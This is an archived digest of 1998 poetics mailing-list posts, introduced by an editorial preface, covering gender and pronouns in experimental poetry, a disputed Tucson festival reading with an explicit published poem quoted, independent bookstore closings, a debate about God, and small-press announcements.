Beneath the argument about names ran a starker one about places. The month's largest thread, more closings, mourned the independent bookshops going dark — three hundred in a decade, Patrick Pritchett reported, citing André Schiffrin — and turned on whether the chains were merely winning or actively hunting:

Maria Damon described how Barnes & Noble scouts an independent's poetry shelves before closing it, and Daniel Bouchard, who had worked the Borders floor, called the conspiracy ludicrous. What outlasted the crossfire was Damon's blessing on the used shops — *"long may they thrive around the edges of commerce"* — a line fit for the list's own motto, poetry having always lived at those edges, in the very shops now closing.

And then, twice, the absences turned literal. Octavio Paz died on the nineteenth, and the list could not simply mourn him: Jonathan Mayhew, granting his era while doubting his poems, felt that *"an epoch has come to a close"*, and Douglas Barbour called him *"another great one gone"* — a grief as unresolved as the anthology fight, Paz theirs to argue about. Eleven days later Nizar Qabbani died in London, the wire naming him *"the master of love verse"* — and the room that had sixty names for one book's omissions had, for the poet actually gone, almost none. I have set Paz's quarrelsome grief beside the near-silence that met Qabbani exactly as April delivered them: a room that could name everyone it had lost, and never hear the one it never knew it had.

— Kristen M. Fabians

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1. Steve Tills
Re: more boring chit-chat
Sun 22 Mar 1998

Yep! Me, too.

Aviva99999 wrote:

> *In a message dated 3/31/98 1:42:12 PM Eastern Standard Time,*
> [redacted] *writes:*
>
> *<< But Helene Cixous's theories on a female language are*
> *interesting when applied to experimental syntax. >>*
>
> *I'd love to hear more about this...*

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2. Steve Tills
Re: more boring chit-chat
Sun 22 Mar 1998

Standard,

Please explain more about DiPalma's specificities about the dash. Are you saying that he insisted that the dashes be exactly the same size and spacing that he'd used/written in his original manuscript and that you thought that picky in some way. I suspect you're not saying this--i.e., wanting the dashes done exactly as submitted was picky, as you'd certainly want to get such particulars done accurately, but I'm curious. And about the reference to gender identity, you're kidding, I gotta suspect, right?

In response to the subjectivity stuff. My own hunch, which is probably not a terribly new thought, is that women (and by extension gay and lesbian writers) are in a unprecedented position to handle, especially, _pronouns_ in very new ways. The "I" and "we" uses in conventionally referential poeties have certainly taken (for good and necessary reasons, I think) a backseat in most of the experimental/innovative poetries I've been reading in my lifetime. I think males have most often used these ironically, self-reflexively, and most especially as "objects(?)," all by themselves--i.e., they become more the subject matter, or the content, or whatever, in poetries that include them; not "a subject" speaks from them; rather, they are more a part of the formal issues the poetry is actually "about" ("is a preposition. It takes a verb. It takes a verb to know one" [possibly poorly misquoted but always for me hilarious quote from someone in _The L=Book_). I've digressed--sorry. Again, if anything left after the digression, I believe females and non-male gendered and/or identified poets will especially handle pronouns, employ them, very differently, and do already, to be sure. I'm

particularly interested in what will be done and what has been done with the second person. I believe close examination of the male experimentalists will show "you" employed very seldom as "an other" presumably outside of the Self of the poet. More often, I believe, the male experimentalist's "you" will be a projection of some part of the male's "Self" or some part of the "matter" the poetry is addressing or made out of. Non-males, I think, have a novel opportunity (or even responsibility) to use the second person and let it speak "for" and "to" and "about" and "from" and _____ in ways that address or contact another "repressed element" in poetry, a materiality not of "language," but of "Self" a male overemphasis on "individuality" as means to "individuation" cannot fully perceive, actualize or contact. In other words, such Self can only be illuminated when other "others" are heard from.

This post is a mass of confusion for the writer and probably will be for most list-readers, too, but I can't articulate these thoughts clearly yet and want to send the post anyway. I do hope that some others will at least think about ways of handling/employing pronouns, though. I regret that I haven't taken the time to closely analyze, say, ten prototypical male and ten prototypical non-male poetries

including various employment of the second person pronoun. I do think such an analysis would prove fruitful.

Me, I'm afraid.

SSSCHAEFER wrote:

> *Katy:*
>
> *As usual, lots to chew on and thanks plus I feel smarter now having read your thorough post. So thanks.*
>
> *First off, for the record, no one has given me as editor more trouble about dashes than Ray DiPalma who is very specific about the SIZE of dash he likes and so what does that say about his gender identity?*
>
> *Second, what on earth is "super model poetry" and why am I so excited? Please send some.*
>
> *Third, Leslie Scalapino just read some "sex" poems from WAY, I believe, here in town yesterday, and I was struck about how at least in that manuscript, it seemed a bit more like reading phenomenology. Plus a little particle physics. But detached, I mean in big way. FRONT MATTER, DEAD SOULS I can't recall too clearly here, but Leslie was telling me that she felt that a large part of her work resists the idea of a reader who can "identify" with the work.*
>
> *This I find really interesting. How does a male-constructed-subject identify with a poem that is "gendered" female? And vica versa, of course. In some*

> *partial way? In some alienated fashion? No idea. Does this resistance to the notion of "identification" have anything to do with gender-- Bernstein, as you say, does the male rant and so I often feel there is a "voice" (definitely in recent work that he read here in LA) that can be "identified" with (for me as a male-constructed-ranter).*
>
> *Best,*
>
> *Standard*

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3. Steve Tills
Re: The Age of Plastic
Fri 27 Mar 1998

Wanna second the "nifty" DB writes about the John Forbes poem John Tranter posted.
Wish I had the Ovid to flesh out even more pleasure from it. S.

John Tranter wrote:

> *David Bromige in a recent post posed the query:*
>
> *"All I know is that I mourn the effusions of the distant past, the*
> *"maelstrom surrounding the worth of Tom Clark's poetry & morality,*
> *"the high tides of love-poetics abutting St. Valentine's Day,*
> *"the lightning-bolts of Kent Johnson's persecution--*
> *"twas an Age of Gold, is this an Age of Lead?-- "*
>
> *No, David; the Age of Plastic. My friend the late John Forbes put it thus:*
>
> *"The Age of Plastic" (copyright the Estate of John Forbes 1998)*
>
> *after Ovid*
>
> *The dictionary definition of change*
> *means your face looks different in the water*
> *& even tho'you'd feel at home down there*
> *each moment spent at one remove, anywhere*
> *between the mammal & the sponge,*
> *you know you'd miss a particular cassette*
> *idle tears or a glass of gin*
> *& be irked by the serious options*
> *a changeless life presents e.g. 'Minor*
> *poet, conspicuously dishonest' would look funny*
> *on a plaque screwed to a tree*
> *while the blue trace of your former life*
> *suggests an exception*

> *generations will end up chanting; for them*
> *the parts of speech will need explaining*
> *not lakes or sleep or sex,*
> *or the dumb poets of the past*
> *who, being lyrical, missed out on this.*
>
> ==========
> *from*
> *John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia*
> *tel ([redacted] fax ([redacted]*
> *http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html*
> *Editor, Jacket magazine: http://www.jacket.zip.com.au*

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4. Steve Tills

Re: Aliens at Zinc Bar

Sun 29 Mar 1998

Jim Beam? Is he still around? First reading I ever went to ('78, I think, was about 20) and it was Beam (or maybe James Dickey, actually) in Jacksonville, Fla. Beam was totally sloshed and ya couldn't understand a word of his slur, but met someone gorgeous, with whom _____ (that first night--it was college in the seventies...). In a sense, it was a great reading! Thanks Marcella Durand for the fond memories of that evening and the few months that followed it. S. T. Dewars

Marcella Durand wrote:

> *Dan, that opium pipe was actually a SPACE PHASER*
> *and you are now en route to*
> *PLANET POME,*
> *(which involves Jim Beam & lots of construction).*
>
> *Great reading last Sunday*
> *and don't forget to return April 12th*
> *for Robbert Pinnsky & Oppen Mike, $75.*
>
> *See you at the symp id et inven titty tion osium.*

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5. linda russo

Re: Guns, gender, children

Tue 31 Mar 1998

(katy -- thx. for posting the notley essay) (sss pls see p.s.)

katy sed
> This doesn't mean that all of the history of poetry is "by nature"
> male or masculinist, but it does seem to present some historical
> problems such as "no babies" "no pregnancies" "no physical births"--
(snip)
>
> The traditional model seems to privelege the wandering poet--the
> unattached poet--the drunken poet?
>
> I think that being a female writer, at least for me, has forced me
> to call this model into question.

i agree wholeheartedly (you sound as though you're familair with Rachel Blau DuPlessis _Pink Guitar_)-- though i think if i were a male writer i'd call them into question too (i hope) -- but women are in a particular position, i believe, to do the questioning, to cite Joan Retallack

so in answer to SSScheafer, then, i do feel myself peculiarly positioned visavis "history" "tradition" -- i AM doing things inconceivable to women of generations before me (i'm not sure what those things are, & i like to think that if i were of another generation i'd be doing those things. . .) But i DO write with the awareness of how quiet my apt is, my life is, as i've chosen thus far not to reproduce (my mother had 4 babies at my age) -- or to take on many "nurturing" activities -- this isn't necessarily a gender-particular experience (history hangs heavy) -- but as katy points out those male loner-lady's man-drunk-etc &c narratives (descendents of what alice jardine calls master narratives) have been written, rewritten. & i scour the library looking for MY (postmodern in the chronological sense) role models . . . it's the being "other" thing, in a variety of implications, that i sense.

p.s. to sss -- seems as though i may have made you the target of my latest obsession (narrative); i'm sorry

> *Linda:*
>
> *Yes, if you spoke to me of how being a woman effects your poetry you would be answering my questions. As for your various successes in finding my "narratives" I can only say that while I agree whole-heartedly that I used that language, I was doing so because I think those narratives are practiced, played out. Is all. Perhaps not by anyone on this list. But I certainly wasn't trying to accuse everyone of having an agenda.*

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6. Steve Tills

Re: local issue: byrkit performance

Tue 31 Mar 1998

Hugh,

I'm so glad to hear/read this note of yours on Charles' post about the Becky Byrkit performance. I feel very much the same way as you (though, for fear of going overboard about something I didn't even witness, I was reluctant to say anything). But this was going through my head: It's one thing to knock the mainstream for not being hip or open to a lot of "our" formal innovations and "radically open" politics; it's another thing altogether to foist that kind of performance on kids and their parents, subject them to a captured audience thing like that (and for what? Shock the bourgeois Equals art?). If art's not supposed to be a commodity, then, I don't know, it just sounds like a disgustingly arrogant (or very regretfully mistaken) gesture, that evening's performance.

Then, too, I wasn't there, and some of these feelings of mine come from a considerable bad mood too much poetic theatrics continually and perennially set off in me. Also, I'd hate to sound "conservative," but this just sounds like an awful night and I believe the parents have every right to be angry.

Again, Hugh, thanks for your level-headed response, and Charles, too, for bringing up this issue. Steve Tills

Hugh Steinberg wrote:

> *Having known Becky Byrkit and her work for many years, having also worked for the Tucson Poetry Festival for a number of years, and having been at Becky's performance that night, I feel obliged to comment on the growing fiasco.*
>
> *I've always admired Becky's work, but the performance that night was just humiliatingly awful, not because of Becky's writing but because of all the performance stuff she put around it. Frankly, children don't really have a place around Becky's work. Her work is often explicit and erotic and dwells in those dark regions your typical parent of a fourteen year old just does not want to think about. The song and dance performance was amateurish in the worst way (if she wanted song and dance, there are plenty of adult companies in Tucson she could have collaberated with). At many points during the reading, I caught her deliberately censoring herself onstage, removing the more graphic elements from her work. Those compromises weakened her work. She was clearly aware of the growing disaster that surrounded her that evening, and it showed in the growing awkwardness of her reading.*
>
> *The kids seemed to be having a good time however. I suspect the kid was crying because his mom had just embarassed him in front of everyone by*

yanking him offstage. Lots of parents were pissed: the front three rows were emptied in such a fashion with angry parents and bewildered kids storming out.

One of the reasons I suspect Becky got trapped in this fiasco is because of an arts organization she heads, called "Voice and Range." The organization acts as a sort of networking group, connecting different artistic talents together for eductional and collaborative purposes. I suspect that much of the performances that night were set up through her organization. To be blunt, however, Becky should never have included children in her performance if she was going to read what she usually reads, especially if it hadn't been vetted through the parents of the kids.

As for the Tucson Poetry Festival's role in this, my impression was that they were basically ambushed (although this is not the first time this has happened: a similar event occurred several years ago when the theme of the festival was love poetry and the winner of a statewide poetry contest (who traditionally reads first on a Saturday night) brought her grandchildren to hear her read, only to be followed by some rather explicit homoerotic love poetry by Boyer Rickel and Marilyn Hacker). It's not the responsibility of a literary arts organization to oversee the work of readers. The Festival has a number of constituencies and has made a concerted effort to be as open and inclusive as possible. The Festival deliberately targets people who have never been to a poetry reading. Presenting the work of children has been an important part of this: a specific reading was set aside on a saturday afternoon of the festival in which children read their poetry. This event was very well attended, I doubt if any of the participants were at Becky's reading the night before.

The dilemma is not how to present poetry without offending anyone, the problem is making sure audiences have some idea of what they are getting so they don't feel ambushed. There's a lot of great poetry out there that some parents might feel is not appropriate for kids. At the same time, it would be absolutely dreadful if this was used as an excuse to keep kids away from all poetry. It would be equally dreadful if this was used as an excuse to shut down the Tucson Poetry Festival.

I'd like to hear from other people involved with literary arts organizations and reading series: how do you handle this issue, of kids and parents at readings, of presenting explicit work in a public forum?

Hugh Steinberg

↑ Index

7. Steve Tills

Re: local issue: byrkit performance

Tue 31 Mar 1998

Yeah, this is just SENSATIONALism. Best American Poetry, too? I dunno...

Anyway, Hugh, I agree with you even more now that I've seen this, too.

I'll see if I can't just shut up now, though. Steve

Hugh Steinberg wrote:

> *Here's one of Becky Bykitt's poems, which was read that night (read underline signs for italics):*
>
> *The Only Dance There Is*
>
> *Oh no! He's going to _show_ it to me --*
> *This gelatinous spore burst like a shot bird's foot --*
> *Splayed, in the nest of his own little egg cup are. God!*
> *Is it he, or is it I, in my white spikes and levis,*
> *Peeling sweaty red labels off Buds, who becomes*
> *Slowly exposed, a pornographic snap developing*
> *At a While-U-Wate Shak? Is it my turquoise lighter holder,*
> *Or my voice, full of coins and strangulations,*
> *That compels the alcoholics, the men I literally live for,*
> *To repeatedly ask what I want? _Hey! What do you want?_*
> *I know girls who dance in bars and marry, like, firemen.*
> *This man here is so unemployed I could talk to him*
> *All night. I'm saddled on a teetering labrador of lust, drunk*
> *And ready to fill up a station wagon. It is*
>
> *the _degringolade_ of the species of woman I am --*
> *The curl of my big leg and the smell of that sweat,*
> *Redolent and in that Terrible Vicinity. Here _let me buy that,_*
> *I am transmigrating in the _def leppard_ of my "desire"*
> *And it has happened before, is happening, will happen again,*
> *All of it. It's the old lovemaking in the cemetary routine,*
> *Johnny.*
> *The last beauty I fell for drank me AND fucked me*
> *Under the table. He said, "Hey there you little redheaded*
> *sweetiepie, you.*
> *Perfection, my life is an open casket funeral; darling,*
> *Our love is the visitation hour." You heard what he did next.*
> *Frankly I still admire him.*
> *I have nevernever touched myself so well,*
> *Nor could I observe a man jerk off in a sock with such joy.*
> *At times I swear the sex of the earth is the sponge and bedwash for Jesus.*
> *At times I swear I could live with a man I'll call "Tom"*
> *forever: when we met he bound me with Venetian blind cord*

And went down on me for roughly nine hours. He delivered
His own daughters' sons. You know how it must be for me.
Drunk in bars, I feel the righteous _ness_ of humidity and cherry,
Initials carved in tequila-drenched grains with "surgical
precision."
We are listing toward the primordial wind and I talk about men
To men. (Once, my hair caught fire in a tavern.
The man who set it horsewhipped my head, singeing
His shavebrush Stetson.)
An absolute glance. Tufts of botched permanent wave. O,
You drunk and fucked-up munificence. O, Unshaven, Midnight,
Kindly lubricate my introduction to the unspeakable ring of chaos
You understand to be your life. You will surely pull the coil
out of my car.
Oh no! He's going to show it to me --
God save the two of us, supernova.

The poem is from her book "Zealand," and can be found in "Best American Poetry 1994."

Frankly we've all heard worse, the problem was audience. I think Becky Byrkit clearly screwed up big. The Tucson Poetry Festival got smeared in the process.

Rachel writes "there is nothing inherently damaging to children about sexual or homoerotic material."

I agree with this one hundred percent, but there are plenty of parents who disagree with this vehemently and who certainly do not want their kids performing on stage while such material is being presented.

The question is: do you screen those people out of your event, or do you program your event around those people? I suspect most organizations do a little of both.

Rachel, what if the young "channeler" you mentioned in your previous post was on the same bill as someone who read children's poetry, or who brought a lot of kids and their parents into the audience? Wouldn't your cringe factor be multiplied? What if these same parents then went to the local newpaper, and through this your reading series receives the only media publicity it has ever received in the local newsmedia?

So, do you tell the "channeler" to censor himself, or do you tell the other reader they might not want to bring their kids to the reading? I find both alternatives somewhat distasteful, but I'm still not quite sure how I would handle it myself.

Hugh Steinberg

↑ Index

8. Steve Tills

Re: local issue: byrkit performance

Tue 31 Mar 1998

Rachel,

I don't think the erotic is bad. For children? I can't decide that for them or their parents/guardians.

"She needs to be punished"? Well, of course not. But it's quite possible she showed exceptionally bad taste or simply (quite possibly) made some regretful choices that evening. Steve Tills

Rachel Levitsky wrote:

> *``I think she needs to be punished,'' he said. ``No children should be subjected to something like this.''*
>
> *Do listlings agree with this, that the erotic is 'bad' for children?*
>
> *" a similar event occurred several years ago when the theme of the festival was love poetry and the winner of a statewide poetry contest (who traditionally reads first on a Saturday night) brought her grandchildren to hear her read, only to be followed by some rather explicit homoerotic love poetry by Boyer Rickel and Marilyn Hacker)." --from Hugh's post*
>
> *I wasn't there and don't know the work. Certianly, it is bad faith to include in your performance, a group who you think might be alienated by/from the work. However, there is nothing inherently damaging to children about sexual or homoerotic material. Children, need I remind, are "subjected to" and "ambushed by" an abundance of what I would call inappropriate imagery of starving women made to look sexy on buses, and the obvious violence bla bla bla, we all know this. And Marilyn Hacker's poetry is offensive because of a piece of phallic plastic????? In a session devoted to love poetry?? What'd they think?*
>
> *A personal experience:*
>
> *A young poet wanted to read at Left Hand and sent me work. I was trying to encourage just this thing and felt I needed to honor his effort, despite my reservations about the person. The week before his scheduled reading, I heard him read, and was so offended that I walked out (this, as far as I recall has only happened to me one other time, I think it was Richard Hell--what da ya think a that?) He, a 20yr old Jew*

> *from phily, was "channeling" black slaves on plantations, and young women being sexually abused, and another I didn't hear because I left. His depictions were stereotypical, narrow, extremely flawed vis a vis bad acting, and violent/screaming. So much for the subject matter being the problem. Obviously both of those subjects could be handled in many sensible, sensitive and textured ways. Still, as awful as I found it, he has his fans who love his work, see it as cutting edge.*
>
> *I flipped. Safety, respect between reader & audience are critical to the Left Hand Reading Series. I wanted to ban him, or read his work in advance or tell him he couldn't read that shit in our space. I felt righteous and justified when I called a meeting between him and the organizers. We'd decided the most we could do was ask him not to channel. But as soon as we were done speaking with him, we knew, we had to take it back. So we told him he knew our feelings and could read whatever he wanted. Thus sprouted the creation of a mission statement, which is explicit about the values of its organizers. In general, I agree that one can't 'censor' or oversee a writer, not without being appropriating and paternalistic. However, one can create a tone and atmosphere that encourage sensitivity and discretion. Our young poet read different work in the end.*
>
> *I don't know if that addresses your question Hugh.*
>
> *Chag Samiach,*
> *RDL*

↑ Index

9. Billy Little
frank sinatra
Wed 1 Apr 1998

Bella was a beauty one of a kind "the people's bully' she served us all, "equality's champion"! i hope you americans got to hear her talk in beijing where she called the assault on welfare on immigration on the poor on the era on affirmative action an assault on america, a true poem performed on a world stage she was a better orator than abe lincoln almost as good as fidel castro and that beautiful accent she could have played the lead in the Tyne Daley Story, she never called shit elimination You can't win no matter what you say i hear from the sinatra lovers damned if you do dammed if you don't from the john waynettes, the soon to be womanless this is a preface to the notion that we might as well be as bad as they assume we are, just remember, you never saw me hear tonight and i never saw you hear good looking. just don't go near my sister or i'll kill you. Sam Kiniston died for their sins.

a tardy goose flaps in the moonlight squawks
a lingering sea lion arfarfs in response
in the dark the seals slap the surface of the sea
scaring the herring into fillets
stuns the tender morsels with the amplitude
the archimedes of the ocean
maybe the salmon or the wails leap clear of the vibes
maybe they don't, maybe they're happy to become part of the seal that's
eaten by the shark that's eaten by the innu
so they could rub noses with Anthony Quinn.

from baka washi's, swivelization

↑ Index

10. Rachel Levitsky

Re: shall we agree to boycott B&N?

Wed 1 Apr 1998

---

another anecdote (from PW):

Charlottesville Shutting: Williams Corner Bookstore to Close

Michael Williams has one word when asked abut the superstore competition that he says put Williams Corner Bookstore, his Charlottesville, Va., independent, out of business. "Gangsters," he says coolly. "That's all there is to it."

Williams, who is otherwise soft-spoken and has owned his 2900- sq.-ft. store since it opened in 1977, will close as early as April 20, pending a lease signing by a new tenant. Only six years ago, Williams had expanded the store, hoping this would protect it against the impending arrival of a cross-town Barnes & Noble.

Charlottesville, home of the University of Virginia, supports a thriving bookselling community. But that has also meant more competition for Williams. Apart from the usual suspects, he has had to contend with New Dominion, another independent a block-and-a-half away that he describes as "a good bookstore." (In fact, Williams plans no blowout sale because he doesn't want to undercut New Dominion's business.) He also points out a catch-22 in Charlottesville bookselling: "Our best customers are the ones who have personal computers, and they're the ones who are going to be entranced by Amazon."--Steven M. Zeitchik

MAYHEW wrote:
>
> I was in Barnes and Nobles and came up with a great book concept:
> "Ice-berg Lettuce for the Soul: Insipid Anecdotes for a Superficial Age."

> I welcome all your contributions; we can make a million bucks off this.
>
> Jonathan Mayhew
> Department of Spanish and Portuguese
> University of Kansas
> [redacted]
> [redacted]

↑ Index

11. morpheal

Re: shall we agree to boycott B&N?

Wed 1 Apr 1998

> *Michael Williams has one word when asked abut the superstore competition that he says put Williams Corner Bookstore, his Charlottesville, Va., independent, out of business. "Gangsters," he says coolly. "That's all there is to it."*

Of course the supermarket bookstores do little good as to small press, limited run, and self published, and it is those that tend to really matter.

The big supermarket bookstores could potentially create a better market niche for some speciality shops, gourmet bookshops as it were. The biggest difficulty is that the prices tend to go up to cover the overhead and relatively low sales volume, putting gourmet literary fare out of reach of many who once were its major customers.

Then again, the prices at the supermarket are often no bargain, as they have to pay for all that marketing and promotion, and the rent is not cheap either. However, I did note one thing when I was in a book supermarket recently. (Which one will remain unnamed.) That is that the shelves had to have cost at least $600 a short section, if not more, and the displays that went with them, hundreds more. The cost to furnish the place had to be astronomical, and it takes a lot of book sales, with hefty markups to recover that capital investment. Even the checkout counter was far from the ordinary, but would have suited very fussy hardwood tastes. If they economized the way supermarkets do, with simple metal shelving, and a minimum of fancy decor, and simple rubber belt checkout stands, imagine how much money the book buying public would have saved !

M.

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12. **morpheal**

Re: god 44

Wed 1 Apr 1998

> *I just talk about God because it's so politically gauche on this list,*
> *where the main thing is to impress with your left critique in various ways.*
> *It's fun to slam & annoy people. Bumper cars.*

Of course...though I saw some terrorists removing the rubber bumbers to enhance the effects the other day....They wanted to add some realism to it. Laughing.

> *- but the thought of God is*
> *like the thought of Nature & Purpose & all those aboriginal things -*
> *sometimes when nobody's around (like in the Frost poem) that's all that's*
> *left. (I'm just giving you the barest minimum.)*

Or that is when the opposite happens and one realizes there is nothing there.

If you are thirsty, I will give you the idea of a glass of water. Go ahead, drink it, and get rid of that thirst. What ? You cannot ? Why cannot you ? Must be something wrong with you then. Try it again. You'll eventually get the hang of it. The idea of a glass of water is all you really needed wasn't it ? ....etc.....ad infinitum.....

Of course, someone could give you bread, and no water, and tell you to smile and be happy, and enjoy it, or they will take that away too. Soon you are choking on the dry bread, thirstier for water than ever, but attempting to use it to remain alive, the Eros still stronger than the Thanatos. The lack of water is your gift from "god". Or is it that the dry bread you are choking on and forced to smile as you force it in, or you get no more, is your gift from "god" ? Does not matter, as there is a tendency towards that analogy in the system.

The system is a human creation. The use of the word "god" does nothing, in my mind, to dignify it, and again what really happens tends to make me think there is no such being, thing, whatnot, whodat, as "god", supreme commander of the armed forces of the whole damn universe, doctor-president-for-life-dada....or whatever HE is supposed to ultimately be.....

Even the arguments from design, in cosmology, fail to be convincing, unless one is willing to believe that "god" exists and was and is _insane_. After all it is a creature eat creature, violent forces of mass destruction nature, species competing against species, struggle to exist, kind of place. No kind, loving, caring, thoughtful, considerate, deity would ever create that kind of hell would they ? As for humans, the pinnacle of creation, created to make war on one another for millenia upon millenia.....No, of course not. It must be all the work of one supreme, omniscient, omnipotent deity.... Bullshit.

M.

↑ Index

13. henry gould
Re: god 44
Wed 1 Apr 1998

On Wed, 1 Apr 1998 08:38:52 -0500 morpheal said:
>
>Even the arguments from design, in cosmology, fail to be convincing, unless
>one is willing to believe that "god" exists and was and is _insane_. After
>all it is a creature eat creature, violent forces of mass destruction
>nature, species competing against species, struggle to exist, kind of place.
>No kind, loving, caring, thoughtful, considerate, deity would ever create
>that kind of hell would they ? As for humans, the pinnacle of creation,
>created to make war on one another for millenia upon millenia.....No, of
>course not. It must be all the work of one supreme, omniscient, omnipotent
>deity.... Bullshit.

This is not the place to get into this, as Tom Mandel & I agreed about it last time on a different facet of the subject, so this is my final statement on the thread. I think the universe not only has design but emanates a moral reality in a "dramatic" form. Humanity is a theater for turning away from dog-eat-dog to a kind of shepherding role. I see this as a long-term species "act". And the universe emanates more than cold violence. It emanates meaning, awe, beauty, and wonder. It's a mistake to judge too quickly from a human scale - though Job did so pretty effectively a long time ago. But God is love, as the short canonical sentence has it. Charles Peirce has some likeable writings on the sense of truth as a shared outcome of long-term consensus - of reality not so much as a "given" but a goal.

While I'm at it, down with postmodernism, reality is out there,
peanut butter and pickles IS a good sandwich.
- Henry Gould

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14. MAYHEW
Of Notley's first disobedience...
Wed 1 Apr 1998

In light of Robert Hale's recent post I recommend the essay "Words are not Language" from the Notley issue of _Talisman_. (Vol. 1 no. 1).

Now you'll have to excuse me while I go off and "literalize the gap between saying and doing" for a few hours.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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15. Susan Wheeler

Announcement

Wed 1 Apr 1998

Announcing the publication of:

SMOKES
Susan Wheeler

ISBN 1884800-19-X
72 pages
Four Way Books

Available through SPD shortly, or from Four Way Books, POB 607, Marshfield, Massachusetts 02050 -- send a check for $12.95 + $3 shipping first book, 50 cents additional. They will also bill with a call or fax to [redacted].

In light of the list's recent topics (which I haven't yet caught up with, re-entering a few days ago after a hiatus), Smokes' opener:

He or She That's Got the Limb, That Holds Me Out on It

The girls are drifting in their ponytails
and their pig iron boat. So much for Sunday.
The dodo birds are making a racket
to beat the band. You could have come too.

The girls wave and throw their garters
from their pig iron boat. Why is this charming?
Where they were nailed on their knees
the garters all rip. You were expected.

The youngest sees a Fury in a Sentra
in a cloud. This is her intimation and she balks.
The boat begins rocking from the scourge
of the sunset. The youngest starts the song.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

16. Steve Shoemaker

Re: shall we agree to boycott B&N?

Wed 1 Apr 1998

I'm really saddened, from this distance, to hear of the closing of Williams Corner Bookstore. It was a truly marvelous place (with a conspicuous devotion to poetry) that meant a lot to me during the nine years I lived in Charlottesville.

By all means, folks shld stay away from Barnes & Noble and Borders and the rest if there's a "Williams Corner" near them that they could be supporting instead.

Steve

At 01:33 AM 4/1/98 -0700, you wrote:
>another anecdote (from PW):
>
>Charlottesville Shutting: Williams Corner Bookstore to Close
>
>Michael Williams has one word when asked abut the superstore
>competition that he says put Williams Corner Bookstore, his
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>he says coolly. "That's all there is to it."
>
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>Williams. Apart from the usual suspects, he has had to contend with
>New Dominion, another independent a block-and-a-half away that
>he describes as "a good bookstore." (In fact, Williams plans no
>blowout sale because he doesn't want to undercut New Dominion's
>business.) He also points out a catch-22 in Charlottesville
>bookselling: "Our best customers are the ones who have
>personal computers, and they're the ones who are going to be

>entranced by Amazon."--Steven M. Zeitchik
>
>
>MAYHEW wrote:
>>
>> I was in Barnes and Nobles and came up with a great book concept:
>> "Ice-berg Lettuce for the Soul: Insipid Anecdotes for a Superficial Age."
>> I welcome all your contributions; we can make a million bucks off this.
>>
>> Jonathan Mayhew
>> Department of Spanish and Portuguese
>> University of Kansas
>> [redacted]
>> [redacted]
>
>

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17. Garrett Kalleberg
The Friend, Issue No. 2
Wed 1 Apr 1998

Wednesday, April 1, 1998

Announcing Issue No. 2 of The Transcendental Friend
http:www.morningred.com/friend

The second entry into our Critical Dictionary is an article on "Vocation" by the remarkable Henry Gould.

This month The Bestiary, edited by Laird Hunt, features work by Anselm Berrigan, Jordan Davis, and an extraordinary lyric by an anonymous Middle English poet.

Translation, excavation, research, reportage, Report from Afield will present works from some distance of space or time (being oriented at the moment to present-day New York). Our first Report brings back an interpretation of a text of Antonin Artaud by Jonathan Skinner.

Inspired in part by the Spanish form of response-in-verse, mote or glosa, and in part by the visible stratification of Talmudic form in which time is flattened and the argument exposed on one plane, Mote takes an existing text as a ground for layers of response by subsequent authors. The current primary text, an excerpt from The Black Book by Orhan Pamuk, will accrete four layers of commentary over the course of the next four issues. The first layer is by Leonard Schwartz.

Review will present critical works that aspire to their own form--a condensation of writerly thought in response to a work, perhaps including the time-honored traditions of praise and/or blame, etc., but not necessarily. This month's Review, by Daniel Machlin, encounters the work of Richard Tuttle.

This issue's Project is by Garrett Kalleberg and features texts from Ronald Johnson's Ark, published in 1996 by Living Batch Press, Albuquerque (available from Small Press Distribution and amazon.com).

The first issue of the Friend is available from the Files page. (With our third issue, some archival & other materials will also be made available from this page.)

For news, announcements, &c., you may subscribe to the Friend at http:www.morningred.com/friend/1998/04/pages/contact/subscribe.html (it's free).

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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18. Thomas A. Vogler
WEBSITES
Wed 1 Apr 1998

> *Wednesday, April 1, 1998*
>
> *Announcing Issue No. 2 of The Transcendental Friend*
> *http:www.morningred.com/friend*
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mailto:[redacted]

The Transcendental Friend can be found at:
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19. **Mark Wallace**

Re: XMAs (fwd)

Wed 1 Apr 1998

---------- Forwarded message ----------
Date: Wed, 01 Apr 1998 10:12:02 PST
From: Tod Thilleman <[redacted]>
To: [redacted]
Subject: Re: XMAs

Mark, please post this on the UB Poetics list as my address has changed and I haven't any access at my new address:

POETRY NEW YORK announces its first Pamphlet (microbook, chapbook) by MARK WALLACE, entitled MY CHRISTMAS POEM (SIXTEEN INCHES OF SNOW AND A VOID). This Pamphlet inaugurates a subscription based series of about 4 per year, one of which will be a contest-winning ms.

Queries, submissions, SUBSCRIPTIONS, and guidelines plus ten years of back issues and other relevant material is available at the PNY website:

http://members.tripod.com/~PNY_journal

or you can e-mail me at [redacted].

Mark's work is particularly strong in this first number. Ted Enslin's CONVERSATIONS is second, then Laura Moriarty's SPICER'S CITY. Hope to hear from you soon!

Tod Thilleman
Editor

poetry new york PO Box 3184 Church Street Station NYC 10008
http://members.tripod.com/~PNY_journal/

Get Your Private, Free Email at http://www.hotmail.com

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20. Ctfarmr
correction
Wed 1 Apr 1998

The name of the Tannen book is actually _You Just Don't Understand_. Sorry about the mistake -- it's been years since I read it.

Bobbie

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21. William Marsh
Re: shall we agree to boycott B&N?
Wed 1 Apr 1998

---

i still have a bookmark from WCB from about 13 years ago -- a good store / does B&N distribute free bookmarks? / B&N's 20% discount to teachers might draw those among us in, and probably was part of their strategy / order class sets (if you teach) from inde stores, yes, and also from small presses (meow chapbooks instead of Prentice Hall textbooks, for ex) which also get lost in the deal

bill

> *another anecdote (from PW):*
>
> *Charlottesville Shutting: Williams Corner Bookstore to Close*
>
> *Michael Williams has one word when asked abut the superstore competition that he says put Williams Corner Bookstore, his Charlottesville, Va., independent, out of business. "Gangsters," he says coolly. "That's all there is to it."*
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>
> *MAYHEW wrote:*
>
> *I was in Barnes and Nobles and came up with a great book concept: "Ice-berg Lettuce for the Soul: Insipid Anecdotes for a Superficial Age." I welcome all your contributions; we can make a million bucks off this.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

- -

William Marsh
http://bmarsh.dtai.com
PaperBrainPress
http://bmarsh.dtai.com/PBrain/pbrain.html

Voice & Range Community Arts
http://bmarsh.dtai.com/V&R/vrmain.html
National University
http://www.nu.edu/index.html
[redacted]

snail: 1860 PB Dr. #4
San Diego, CA 92109
